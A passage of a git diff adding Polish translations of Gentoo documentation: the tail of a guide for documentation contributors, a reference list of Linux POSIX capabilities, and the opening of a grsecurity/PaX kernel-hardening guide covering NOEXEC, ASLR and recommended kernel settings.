+wszystkich plików, które składają się na podręcznik.
+</p>
+
+<pre caption="Sprawdzanie poprawności i przekształcanie hb-install-about.xml">
+$ <i>xmllint --valid --noout handbook-x86.xml</i>
+$ <i>xmllint --valid --noout hb-install-about.xml</i>
+$ <i>xsltproc --stringparam part 1 --stringparam chap 1 test/guide.xsl handbook-x86.xml > test/hb-install-about.html</i>
+</pre>
+
+<p>
+Możemy również sprawdzić i przekształcić, którykolwiek z rozdziałów podręcznika
+w taki sam sposób jak inne przewodniki. Jednak w tym wypadku odnośniki do
+innych części podręcznika nie zostaną poprawnie wygenerowane.
+</p>
+
+<pre caption="Sprawdzanie poprawności i przekształcanie hb-install-about.xml w
+prostszy sposób">
+$ <i>xmllint --valid --noout hb-install-about.xml</i>
+$ <i>xsltproc test/guide.xsl hb-install-about.xml &gt; test/hb-install-about.html</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Często zadawane pytania</title>
+<section>
+<title>Jak przekonwertować plik do UTF-8?</title>
+<body>
+
+<p>
+Istnieje dość sporo narzędzi, które mogą nam w tym pomóc. Najpopularniejsze są
+<c>app-text/recode</c> oraz <c>iconv</c>, który jest częścią pakietu
+<c>sys-libs/glibc</c>.
+</p>
+
+<p>
+Użycie recode jest bardzo proste. Mówimy mu jakie jest obecne kodowanie
+dokumentu, a następnie jakie kodowanie chcielibyśmy uzyskać.
+</p>
+
+<p>
+Przykładowo, aby przekonwertować dokument w ISO-8859-2 (standardowe polskie
+kodowanie, Latin-2) na UTF-8, używamy:
+</p>
+
+<pre caption="Konwersja pliku">
+<comment>(l2 = ISO-8859-2, u8 = UTF-8)</comment>
+$ <i>recode l2..u8 file.xml</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Pomocne sztuczki przy sprawdzaniu poprawności dokumentacji</title>
+<section>
+<title>Sprawdzanie poprawności tagów &lt;guide&gt;</title>
+<body>
+
+<p>
+Należy upewnić się, że atrybuty znacznika &lt;guide&gt; prowadzą do poprawnej
+lokalizacji dokumentu. Zazwyczaj jest to
+<path>/doc/${LANG}/nazwapliku.xml</path>. Jeżeli nasz dokument jest
+przetłumaczony zawsze precyzujemy ścieżkę dokładnie do niego (np.
+<path>/doc/${LANG}/</path>). Jeżeli zajmujemy się dokumentem używającym DTD
+<c>guide</c> bądź <c>book</c>, możemy zamiennie używać
+<path>/doc/${LANG}/nazwapliku.xml</path> i <path>nazwapliku.xml</path>. Jednak
+GDP zaleca używanie tej pierwszej formy.
+</p>
+
+</body>
+</section>
+<section>
+<title>Sprawdzanie poprawności odnośników</title>
+<body>
+
+<p>
+<e>Musimy</e> mieć pewność, że wszystkie odnośniki w naszym dokumencie
+działają. Jeżeli zajmujemy się tłumaczeniem, że odnośniki w naszym teście
+prowadzą do innych przetłumaczonych i istniejących dokumentów.
+</p>
+
+</body>
+</section>
+<section>
+<title>Sprawdzanie tabulatorów</title>
+<body>
+
+<p>
+Tabulatory są zabronione w dokumentach pisanych za pomocą GuideXML. Jedynie w
+przypadku gdy w dokumencje zaleca się używanie tabulatorów użytkownikowi, można
+odstąpić od tej zasady. Aby sprawdzić dokumentację pod tym względem, należy
+uruchomić polecenie <c>grep "CTRL+V&lt;TAB&gt;" file.xml</c>, a następnie
+poprawiamy wszystkie linie, które zostaną wskazane przez grep.
+</p>
+
+</body>
+</section>
+<section>
+<title>Bugzilla</title>
+<body>
+
+<p>
+Kiedy już ukończymy dokument, wysyłamy go do zespołu dokumentacji za pomocą
+<uri
+link="http://bugs.gentoo.org/enter_bug.cgi?product=Documentation">Bugzilli</uri>.
+Nie musimy przy tym podawać informacji takich jak rodzaj architektury,
+platformę, wynik polecenia <c>emerge info</c> itp. Jeżeli wysyłamy tłumaczenie
+należy upewnić się, że wybieramy komponent <uri
+link="http://bugs.gentoo.org/enter_bug.cgi?product=Doc%20Translations">Doc
+Translations</uri> dla naszego raportu. Pomocną rzeczą może się również okazać
+dodanie podsumowania w formacie: "[fr] New translation:
+/doc/fr/gnupg-user.xml". Oczywiście <b>[fr]</b> zastępujemy dwuliterowym kodem
+naszego języka.
+</p>
+
+<p>
+Domyślnie błędy przypisywane są do <mail>docs-team@gentoo.org</mail>. Nie ma
+potrzeby zmieniać tego pola.
+</p>
+
+<p>
+Pliki i łatki dołączamy wybierając "plain text (text/plain)". <e>Nie</e> należy
+wybierać "XML source (application/xml)", nawet w przypadku kiedy dołączamy plik
+<path>.xml</path>. Łatki powinni być wysyłane z włączoną opcją "Patch". Nie
+powinniśmy wysyłać całych archiwów z dokumentami. Każdy dokument i łata powinni
+być wysłane oddzielnie.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Najczęściej popełnianie błędy</title>
+<section>
+<title>Zapominanie o aspekcie wielu architektur Podręcznika Gentoo</title>
+<body>
+
+<p>
+Pliki w <path>[gentoo]/xml/htdocs/doc/en/handbook</path>, które nie kończą
+się przyrostkiem "-&lt;ARCHITEKTURA&gt;.xml" są <e>wspólne</e> dla wszystkich
+architektur.
+</p>
+
+<p>
+Jeśli potrzebujemy dodać coś dotyczącego tylko wybranej architektury i nie
+wiemy w jaki sposób to umieścić w tym pliku, wtedy należy poprosić o
+rozwiązanie tego problemu pisząc na adres <mail>gentoo-doc@gentoo.org</mail>.
+Czasami istnieje sposób modyfikacji pliku bez komplikowania życia użytkownikom
+innych architektur.
+</p>
+
+</body>
+</section>
+<section>
+<title>Nie wstawianie informacji o wersji i dacie lub czynienie tego w zły sposób</title>
+<body>
+
+<p>
+<e>Trzeba</e> zmienić wersję i datę podczas dokonywania zmian (SwifT morduje
+tych, którzy o tym zapomną). Wersja jest naszą wewnętrzną informacją ułatwiającą
+tłumaczom dokumentacji śledzenie zmian w dokumentach, a data mówi użytkownikom
+kiedy dokument był zmieniany po raz ostatni.
+</p>
+
+<p>
+Jeżeli zmieniamy <e>zawartość</e> dokumentu (np. instrukcje, przykładowe
+polecenia itp.) wtedy zmiana wersji jest przymusowa. W przypadku wprowadzania
+zmian, które <e>nie</e> zmieniają zawartości (np. literówka, poprawa kodu
+GuideXML itp.) zmiana wersji nie jest potrzeba.
+</p>
+
+<p>
+Podczas aktualizacji Podręcznika zmieniamy datę i wersję wyłącznie tych plików
+które uaktualnialiśmy. Nie zmieniamy pliku handbook-<e>ARCHITEKTURA</e>.xml
+jeśli nie zmienialiśmy jego zawartości.
+</p>
+
+<p>
+Innym częstym błędem jest aktualizacja wersji tak jakby to była liczba
+dziesiętna. A mianowicie ona nią nie jest. Po <c>3.9</c> powinno być
+<c>3.10</c>, nie <c>4.0</c>, ani nie <c>3.91</c>.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/pl/hardened/capabilities.xml b/xml/htdocs/proj/pl/hardened/capabilities.xml
new file mode 100644
index 00000000..0916619f
--- /dev/null
+++ b/xml/htdocs/proj/pl/hardened/capabilities.xml
@@ -0,0 +1,535 @@
+<?xml version='1.0' encoding="utf-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/pl/hardened/capabilities.xml,v 1.1 2005/07/29 10:21:18 neysx Exp $ -->
+
+<!-- Orig revision: 1.7 -->
+<!-- Translator: yarel <yarel@o2.pl> -->
+<!-- Status: Finished  -->
+
+<!-- $Id: capabilities.xml,v 1.1 2005/07/29 10:21:18 neysx Exp $ -->
+
+<guide link="/proj/pl/hardened/capabilities.xml" lang="pl">
+
+<title>Możliwości zdefiniowane w standardzie POSIX (POSIX Capabilities)</title>
+
+<author title="Autor">
+  <mail link="solar@gentoo.org">solar</mail>
+</author>
+<author title="Współautor">
+  <mail link="tocharian@gentoo.org">Adam Mondl</mail>
+</author>
+<author>
+  <mail link="yarel@o2.pl">Paweł Kwiatkowski</mail>
+</author>
+
+<abstract>
+Możliwości zdefiniowane w POSIX rozdzielają uprawnienia użytkownika root na
+zbiory odrębnych przywilejów.
+</abstract>
+
+<version>1.2</version>
+<date>2005-01-22</date>
+
+<chapter>
+<title>CAP_CHOWN</title>
+<section>
+<body>
+
+<pre caption="CAP_CHOWN">
+<i>CAP_CHOWN</i>
+    W systemach ze zdefiniowaną opcją [_POSIX_CHOWN_RESTRICTED] likwiduje
+    ograniczenie zmiany właściciela oraz grupy dla pliku.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_DAC_OVERRIDE</title>
+<section>
+<body>
+
+<pre caption="CAP_DAC_OVERRIDE">
+<i>CAP_DAC_OVERRIDE</i>
+      Likwiduje całkowicie dostęp DAC i jeśli zdefiniowane jest [_POSIX_ALC],
+      to również likwiduje klauzulę ACL dotyczącą prawa wykonywania.
+      Nie dotyczy praw DAC objętych CAP_LINUX_IMMUTABLE.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_DAC_READ_SEARCH</title>
+<section>
+<body>
+
+<pre caption="CAP_DAC_READ_SEARCH">
+<i>CAP_DAC_READ_SEARCH</i>        
+      Likwiduje wszystkie ograniczenia DAC, dotyczące odczytu oraz
+      wyszukiwania plików i katalogów, włączając w to ograniczenia ACL, o ile
+      [_POSIX_ACLE] jest zdefiniowane. Z pominięciem dostępu DAC objętego
+      opcją CAP_LINUX_IMMUTABLE.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_FOWNER</title>
+<section>
+<body>
+
+<pre caption="CAP_FOWNER">
+<i>CAP_FOWNER</i>
+      Likwiduje wszystkie ograniczenia dla operacji na plikach, dla których
+      ID właściciela pliku musi być równe ID użytkownika, chyba że możliwe
+      jest zastosowanie CAP_FSETID. Nie likwiduje ograniczeń MAC oraz DAC.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_FSETID</title>
+<section>
+<body>
+
+<pre caption="CAP_FSETID">
+<i>CAP_FSETID</i>
+      Likwiduje następujące ograniczenia: efektywne ID użytkownika powinno
+      zgadzać się z ID właściciela pliku, podczas ustawiania dla tego pliku
+      bitów S_ISUID oraz S_ISGID; podczas ustawiania bitu S_ISGID dla pliku,
+      efektywne ID grupy (lub jedno z dodatkowych ID) powinno odpowiadać ID
+      właściciela pliku; zerowanie bitów S_ISUID oraz S_ISGID po prawidłowym
+      zakończeniu chown(2) (nie jest zaimplementowane).
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_FS_MASK</title>
+<section>
+<body>
+
+<pre caption="CAP_FS_MASK">
+<i>CAP_FS_MASK</i>
+      Używane do określenia czy używać starego suser() czy fsuser().
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_KILL</title>
+<section>
+<body>
+
+<pre caption="CAP_KILL">
+<i>CAP_KILL</i>
+      Likwiduje ograniczenie zgodnie z którym prawdziwe lub efektywne ID
+      użytkownika procesu wysyłającego sygnał, musi być zgodne z prawdziwym
+      lub efektywnym ID użytkownika procesu, do którego sygnał jest wysyłany.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_SETGID</title>
+<section>
+<body>
+
+<pre caption="CAP_SETGID">
+<i>CAP_SETGID</i>
+      Pozwala obsługiwać setgid(2);
+      Pozwala na wywoływanie setgroups(2);
+      Pozwala na zmianę gid dla gniazda przy przekazywaniu danych uwierzytelniających.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_SETUID</title>
+<section>
+<body>
+
+<pre caption="CAP_SETUID">
+<i>CAP_SETUID</i>
+      Pozwala na zmianę set*uid(2) (włącznie z fsuid);
+      Pozwala na zmianę pid dla gniazda przy przekazywaniu danych
+      uwierzytelniających.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_SETPCAP</title>
+<section>
+<body>
+
+<pre caption="CAP_SETPCAP">
+<i>CAP_SETPCAP</i>
+      Przekazanie możliwości z własnego zbioru uprawnień do dowolnego pid.
+      Usunięcie z dowolnego pid możliwości z własnego zbioru uprawnień.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_LINUX_IMMUTABLE</title>
+<section>
+<body>
+
+<pre caption="CAP_LINUX_IMMUTABLE">
+<i>CAP_LINUX_IMMUTABLE</i>
+      Pozwala na modyfikację atrybutów S_IMMUTABLE i S_APPEND dla pliku.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_NET_BIND_SERVICE</title>
+<section>
+<body>
+
+<pre caption="CAP_NET_BIND_SERVICE">
+<i>CAP_NET_BIND_SERVICE</i>
+      Pozwala na związanie gniazd TCP/UDP z portem niższym niż 1024;
+      Pozwala na związanie ATM VCI z portem niższym niż  32.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_NET_BROADCAST</title>
+<section>
+<body>
+
+<pre caption="CAP_NET_BROADCAST">
+  <i>CAP_NET_BROADCAST</i>
+        Pozwala na broadcasting i nasłuchiwanie multicast.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_NET_ADMIN</title>
+<section>
+<body>
+
+<pre caption="CAP_NET_ADMIN">
+<i>CAP_NET_ADMIN</i>
+      Pozwala na konfigurację interfejsu;
+      Pozwala na zarządzanie kontami, maskaradą i firewallem;
+      Pozwala na ustawianie opcji debug dla gniazd;
+      Pozwala na modyfikacje tabeli routingu;
+      Pozwala na przypisanie procesowi/grupie procesów prawa własności do gniazd;
+      Pozwala na przywiązanie do dowolnego adresu dla przezroczystego proxy;
+      Pozwala na ustawianie TOS ([ang.] type of service);
+      Pozwala na ustawianie trybu promiscuous;
+      Pozwala na czyszczenie statystyk sterownika;
+      Pozwala na multicasting;
+      Pozwala na odczyt/zapis, specyficznych dla urządzenia, rejestrów;
+      Pozwala na aktywację gniazd kontrolnych ATM control.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_NET_RAW</title>
+<section>
+<body>
+
+<pre caption="CAP_NET_RAW">
+<i>CAP_NET_RAW</i>
+      Pozwala na używanie gniazd typu RAW;
+      Pozwala na używanie gniazd typu PACKET.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_IPC_LOCK</title>
+<section>
+<body>
+
+<pre caption="CAP_IPC_LOCK">
+<i>CAP_IPC_LOCK</i>
+      Pozwala na tworzenie blokady na segmentach pamięci współdzielonej;
+      Pozwala na wykonanie mlock/mlockall (nie ma to nic wspólnego z IPC).
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_IPC_OWNER</title>
+<section>
+<body>
+
+<pre caption="CAP_IPC_OWNER">
+<i>CAP_IPC_OWNER</i>
+      Likwiduje sprawdzanie praw własności dla IPC.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_SYS_MODULE</title>
+<section>
+<body>
+
+<pre caption="CAP_SYS_MODULE">
+<i>CAP_SYS_MODULE</i>
+      Umożliwia ładowanie i usuwanie modułów oraz modyfikację kernela bez ograniczeń;
+      Umożliwia zmiany cap_bset.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_SYS_RAWIO</title>
+<section>
+<body>
+
+<pre caption="CAP_SYS_RAWIO">
+<i>CAP_SYS_RAWIO</i>
+      Pozwala na dostęp ioperm/iopl;
+      Pozwala na wysyłanie komunikatów USB do urządzeń przez /proc/bus/usb.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_SYS_CHROOT</title>
+<section>
+<body>
+
+<pre caption="CAP_SYS_CHROOT">
+<i>CAP_SYS_CHROOT</i>
+      Pozwala na korzystanie z chroot().
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_SYS_PTRACE</title>
+<section>
+<body>
+
+<pre caption="CAP_SYS_PTRACE">
+<i>CAP_SYS_PTRACE</i>
+      Pozwala na wywołanie ptrace() do dowolnego procesu.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+
+<chapter>
+<title>CAP_SYS_PACCT</title>
+<section>
+<body>
+
+<pre caption="CAP_SYS_PACCT">
+<i>CAP_SYS_PACCT</i>
+      Pozwala na konfigurację zarządzania procesami.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_SYS_ADMIN</title>
+<section>
+<body>
+
+<pre caption="CAP_SYS_ADMIN">
+<i>CAP_SYS_ADMIN</i>
+      Pozwala na konfigurację specjalnej kombinacji klawiszy ([przyp. tłum.] np. Ctrl-Alt-Del, SysRq);
+      Pozwala na zarządzaniem urządzeniem random;
+      Pozwala na monitorowanie i konfigurowanie limitu miejsca na dysku;
+      Pozwala na konfigurację logowaniem kernela (zachowaniem printk);
+      Pozwala na ustawianie nazwy domeny;
+      Pozwala na ustawianie nazwy hosta;
+      Pozwala na wywoływanie bdflush();
+      Pozwala na mount() i umount(), ustanownienie nowego połączenia smb;
+      Pozwala na niektóre wywołania ioctl dotyczące autofs;
+      Pozwala na nfsservctl; Pozwala na VM86_REQUEST_IRQ;
+      Pozwala na odczytanie i zapisanie konfiguracji pci na architekturze alpha; 
+      Pozwala na irix_prctl na architekturze mips (setstacksize);
+      Pozwala na opróżnienie całej pamięci cache na architekturze m68k (sys_cacheflush);
+      Pozwala usuwać semafory; Używane zamiast CAP_CHOWN dla "chown" przy IPC dla kolejek wiadomości, semaforów i pamięci dzielonej;
+      Pozwala na blokowanie/zwalnianie segmentów pamięci współdzielonej;
+      Pozwala na włączanie/wyłączanie swapu;
+      Pozwala na na zmianę pid dla gniazda przy przekazywani danych uwierzytelniających;
+      Pozwala na ustawianie opcji wyprzedzania odczytu (ang. readahead) i na opróżnianie buforów dla urządzeń blokowych;
+      Pozwala na ustawianie geometrii w stacji dysków;
+      Pozwala na włączanie/wyłączanie DMA dla sterownika xd;
+      Pozwala na zarządzanie urządzeniami md (w większości to co powyżej, plus kilka dodatkowych ioctl);
+      Pozwala na tuning sterownika ide;
+      Pozwala na dostęp do urządzenia nvram;
+      Pozwala na zarządzanie apm_bios, urządzeniami szeregowymi i bttv (TV);
+      Pozwala na wykonywanie komend producenta dla sterownika isdn CAPI;
+      Pozwala na czytanie nieustandardyzowanych fragmentów z przestrzeni konfiguracji PCI;
+      Pozwala na wywołania ioctl typu DDI debug dla sterownika sbpcd;
+      Pozwala na konfigurację portów szeregowych;
+      Pozwala na wysyłanie nieprzetworzonych (ang. raw) komend qic117;
+      Pozwala na włączanie/wyłączanie markowanego kolejkowania dla kontrolerów SCSI i wysyłanie dowolnych komend SCSI; 
+      Pozwala na ustawienie klucza szyfrującego na systemie plików loopback.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_SYS_BOOT</title>
+<section>
+<body>
+
+<pre caption="CAP_SYS_BOOT">
+<i>CAP_SYS_BOOT</i>
+      Pozwala na wywoływanie reboot().
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_SYS_NICE</title>
+<section>
+<body>
+
+<pre caption="CAP_SYS_NICE">
+<i>CAP_SYS_NICE</i>
+      Pozwala na podwyższanie priorytetu i ustawianie priorytetu dla innych
+      procesów (inny UID);
+      Pozwala na wykorzystanie FIFO i planowania algorytmem roundrobin (w
+      czasie rzeczywistym) dla własnych procesów oraz na ustawiania algorytmu
+      szeregującego używanego przez inny proces.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_SYS_RESOURCE</title>
+<section>
+<body>
+
+<pre caption="CAP_SYS_RESOURCE">
+<i>CAP_SYS_RESOURCE</i> 
+      Likwidacja limitu dla zasobów. Ustawianie ograniczenia dla zasobów;
+      Likiwdacja limitu quota;
+      Ignorowanie zarezerwowanej przestrzeni na systemie plików ext2;
+      Modyfikacja trybu pracy dziennika dla systemu plików ext3 (wykorzystanie
+      zasobów dziennika); UWAGA: ext2 uwzględnia fsuid podczas sprawdzania czy
+      zasoby są ignorowane, więc do zmian można wykorzystać fsuid;
+      Likwidacja ograniczenia rozmiaru na kolejki wiadomości IPC;
+      Pozwala na częstsze niż 64hz generowanie przerwań przez zegar czasu rzeczywistego;
+      Likwidacja ograniczenia na maks. liczbę konsol przy przydzielaniu kolejnej;
+      Likwidacja ograniczenia na maks. liczbę map klawiatury.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_SYS_TIME</title>
+<section>
+<body>
+
+<pre caption="CAP_SYS_TIME">
+<i>CAP_SYS_TIME</i>
+      Pozwala na manipulacje zegarem systemowym;
+      Pozwala na wywołanie irix_stime na architekturze mips;
+      Pozwala na ustawienie zegara czasu rzeczywistego.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_SYS_TTY_CONFIG</title>
+<section>
+<body>
+
+<pre caption="CAP_SYS_TTY_CONFIG">
+<i>CAP_SYS_TTY_CONFIG</i>
+      Pozwala na konfigurację urządzeń tty; Pozwala na wywołanie vhangup()
+      dla tty.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_MKNOD</title>
+<section>
+<body>
+
+<pre caption="CAP_MKNOD">
+<i>CAP_MKNOD</i>
+      Pozwala na wykorzystanie uprzywilejowanych ustawień mknod().
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_LEASE</title>
+<section>
+<body>
+
+<pre caption="CAP_LEASE">
+<i>CAP_LEASE</i>
+      Pozwala na wynajmowanie plików ([ang.] file lease).
+</pre>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/pl/hardened/grsecurity2.xml b/xml/htdocs/proj/pl/hardened/grsecurity2.xml
new file mode 100644
index 00000000..72e4546b
--- /dev/null
+++ b/xml/htdocs/proj/pl/hardened/grsecurity2.xml
@@ -0,0 +1,929 @@
+<?xml version='1.0' encoding="utf-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/pl/hardened/grsecurity2.xml,v 1.4 2005/12/03 11:11:31 rane Exp $ -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<!-- Orig revision: 1.9  -->
+<!-- Translator: Paweł Kwiatkowski <yarel@o2.pl> -->
+<!-- Status: Finished -->
+
+<!-- $Id: grsecurity2.xml,v 1.4 2005/12/03 11:11:31 rane Exp $ -->
+
+<guide link="/proj/pl/hardened/grsecurity2.xml" lang="pl">
+
+<title>Przewodnik po Gentoo Grsecurity v2</title>
+
+<author title="Autor">
+  <mail link="solar@gentoo.org">solar</mail>
+</author>
+<author title="Autor">
+  <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+<author title="Tłumacz">
+  <mail link="yarel@o2.pl">Paweł Kwiatkowski</mail>
+</author>
+
+<abstract>
+Dokument omawia poprawki grsecurity2 związane z bezpieczeństwem, wspierane
+opcje konfiguracyjne jądra oraz narzędzia dostarczone z projektem grsecurity.
+Wszystko to po to, by nasz system osiągnął wyższe standardy bezpieczeństwa.
+</abstract>
+
+<version>0.4</version>
+<date>2004-10-06</date>
+
+<chapter>
+<title>O Grsecurity</title>
+<section>
+<title>Projekt Grsecurity</title>
+<body>
+
+<p>
+Projekt grsecurity, dostępny na <uri>http://wwww.grsecurity.org</uri>, dostarcza
+różnorodne poprawki dla jądra Linux, które podnoszą ogólne bezpieczeństwo
+systemu. Różnorodne funkcje wprowadzone przez grsecurity omawiamy w następnym
+rozdziale; wyczerpująca lista dostępna jest na <uri
+link="http://www.grsecurity.org/features.php">stronie omawiającej funkcje
+grsecurity</uri>.
+</p>
+
+<p>
+Funkcje dostarczane przez grsecurity opierają się przeważnie o jądro. Większa
+część tego dokumentu dotyczy różnych opcji jądra i odpowiadającym im operacjom
+sysctl (o ile dają się zastosować).
+</p>
+
+</body>
+</section>
+<section>
+<title>Integracja z Gentoo Hardened</title>
+<body>
+
+<p>
+<uri link="http://hardened.gentoo.org">Projekt Gentoo Hardened</uri> dotyczy
+utrzymania funkcji związanych ze zwiększeniem bezpieczeństwa w Gentoo. Zawiera
+grsecurity, lecz nie ogranicza się tylko do niego.
+</p>
+
+</body>
+</section>
+<section>
+<title>Konfiguracja jądra</title>
+<body>
+
+<p>
+W obrębie tego dokumentu będziemy mówić o konfiguracji jądra za pomocą zmiennych
+kernela typu <c>CONFIG_GRKERNSEC_PAX_NO_ACL_FLAGS</c>. Są to zmienne używane
+podczas procesu budowania jądra do określenia czy dana funkcja ma być
+skompilowana.
+</p>
+
+<p>
+Konfigurując jądro za pomocą <c>make menuconfig</c> lub w podobny sposób,
+otrzymujemy interfejs użytkownika, przez który możemy dokonywać wyboru różnych
+opcji. Jeśli skorzystamy z przycisku <e>Help</e> dla jakiejś opcji
+konfiguracyjnej, to zobaczymy nazwę odpowiadającej jej zmiennej kernela.
+</p>
+
+<p>
+Możemy nadal konfigurować jądro, tak jak nam się podoba - z odrobiną
+zastanowienia. Jeśli nie możemy znaleźć konkretnej opcji, to zawsze istnieje
+możliwość ręcznej zmiany pliku <path>/usr/src/linux/.config</path>. :)
+</p>
+
+<p>
+Oczywiście by móc wybierać różne opcje grsecurity jądra, musimy włączyć
+grsecurity w kernelu:
+</p>
+
+<pre caption="Aktywacja grsecurity">
+CONFIG_GRKERNSEC=y
+CONFIG_GRKERNSEC_CUSTOM=y
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>PaX</title>
+<section>
+<title>Walka z wykorzystywaniem błędów w programach</title>
+<body>
+
+<p>
+PaX dostarcza kilku mechanizmów bezpieczeństwa, utrudniających agresorom
+wykorzystywanie błędów programowych, które dotyczą użycia pamięci. Nie należy
+więc traktować PaX jako zabezpieczenia przed wszystkimi możliwymi błędami w
+programach. <uri link="http://pax.grsecurity.net/docs/pax.txt">Wprowadzenie do
+Pax</uri> wskazuje na trzy możliwe techniki wykorzystania błędów:
+</p>
+
+<ol>
+  <li>Wprowadzenie/wykonanie dowolnego kodu</li>
+  <li>
+    Wykonanie istniejącego kodu w sposób nie wynikający z oryginalnego
+    zachowania programu
+  </li>
+  <li>Wykonanie istniejącego kodu dla dowolnych danych</li>
+</ol>
+
+<p>
+Jedną z metod, która zapobiega wykonaniu kodu jest niepozwalanie na
+przechowywanie kodu wykonywalnego w zapisywalnej pamięci. Przyjrzyjmy się
+procesowi, który potrzebuje pięciu obszarów pamięci:
+</p>
+
+<ol>
+  <li>
+    <e>Sekcji danych</e> zawierającej globalne i statycznie przydzielone dane
+  </li>
+  <li>
+    <e>Obszaru BSS</e> (Block Started by Symbol) zawierającego informacje o
+    danych procesu, które zostały zainicjalizowane zerami
+  </li>
+  <li>
+    <e>Obszaru kodu</e> zwanego także <e>segmentem text</e>, który zawiera
+    wykonywalne instrukcje
+  </li>
+  <li>
+    <e>Sterty</e> zawierającej dynamicznie przydzielaną pamięć
+  </li>
+  <li>
+    <e>Stosu</e> zawierającego zmienne lokalne
+  </li>
+</ol>
+
+<p>
+Pierwsza z metod zapobiegawczych PaX nosi nazwę <b>NOEXEC</b>. Powstała z myślą
+o tym, by kontrolować generowanie kodu w trakcie działania procesu. Strony
+pamięci, które nie zawierają kodu wykonywalnego mają przypisany atrybut
+non-executable. Oznacza to, że sterta i stos, które zawierają dane i nie powinny
+zawierać kodu są traktowane jako niewykonywalne. Programy ([ang.] exploits),
+które umieszczają kod w tych obszarach z zamiarem wykonania nie zadziałają.
+</p>
+
+<p>
+W rzeczywistości NOEXEC ma większe znaczenie, zainteresowani tematem czytelnicy
+powinni skorzystać z <uri
+link="http://pax.grsecurity.net/docs/noexec.txt">dokumentacji NOEXEC w PaX
+</uri>.
+</p>
+
+<p>
+Drugą zapobiegawczą metodą PaX jest <b>ASLR</b> (Address Space Layout
+Randomization - losowy rozkład przestrzeni adresowej). Wprowadza ona element
+losowości do żądań przydziału pamięci. Tam, gdzie poprzednio pamięć była
+przydzielana w sposób ciągły (co oznacza, że programy, próbujące wykorzystać
+błędy wiedziały gdzie usytuowane są obszary pamięci procesu), ASLR wprowadza
+element losowości do przydziału pamięci, sprawiając tym samym, że techniki
+wykorzystujące takie informacje stały się bezużyteczne.
+</p>
+
+<p>
+Więcej informacji o ASLR można znaleźć
+<uri link="http://pax.grsecurity.net/docs/aslr.txt">w sieci</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Włączanie PaX</title>
+<body>
+
+<p>
+Zalecane ustawienia jądra dla PaX to:
+</p>
+
+<pre caption="Zalaecna konfiguracja jądra dla PaX">
+<comment>#
+# PaX Control
+#
+# CONFIG_GRKERNSEC_PAX_SOFTMODE is not set</comment>
+CONFIG_GRKERNSEC_PAX_EI_PAX=y
+CONFIG_GRKERNSEC_PAX_PT_PAX_FLAGS=y
+CONFIG_GRKERNSEC_PAX_NO_ACL_FLAGS=y
+<comment># CONFIG_GRKERNSEC_PAX_HAVE_ACL_FLAGS is not set
+# CONFIG_GRKERNSEC_PAX_HOOK_ACL_FLAGS is not set
+
+#
+# Address Space Protection
+#</comment>
+CONFIG_GRKERNSEC_PAX_NOEXEC=y
+<comment># CONFIG_GRKERNSEC_PAX_PAGEEXEC is not set</comment>
+CONFIG_GRKERNSEC_PAX_SEGMEXEC=y
+CONFIG_GRKERNSEC_PAX_EMUTRAMP=y
+CONFIG_GRKERNSEC_PAX_MPROTECT=y
+<comment># CONFIG_GRKERNSEC_PAX_NOELFRELOCS is not set</comment>
+CONFIG_GRKERNSEC_PAX_ASLR=y
+CONFIG_GRKERNSEC_PAX_RANDKSTACK=y
+CONFIG_GRKERNSEC_PAX_RANDUSTACK=y
+CONFIG_GRKERNSEC_PAX_RANDMMAP=y
+CONFIG_GRKERNSEC_PAX_RANDEXEC=y
+<comment># CONFIG_GRKERNSEC_KMEM is not set
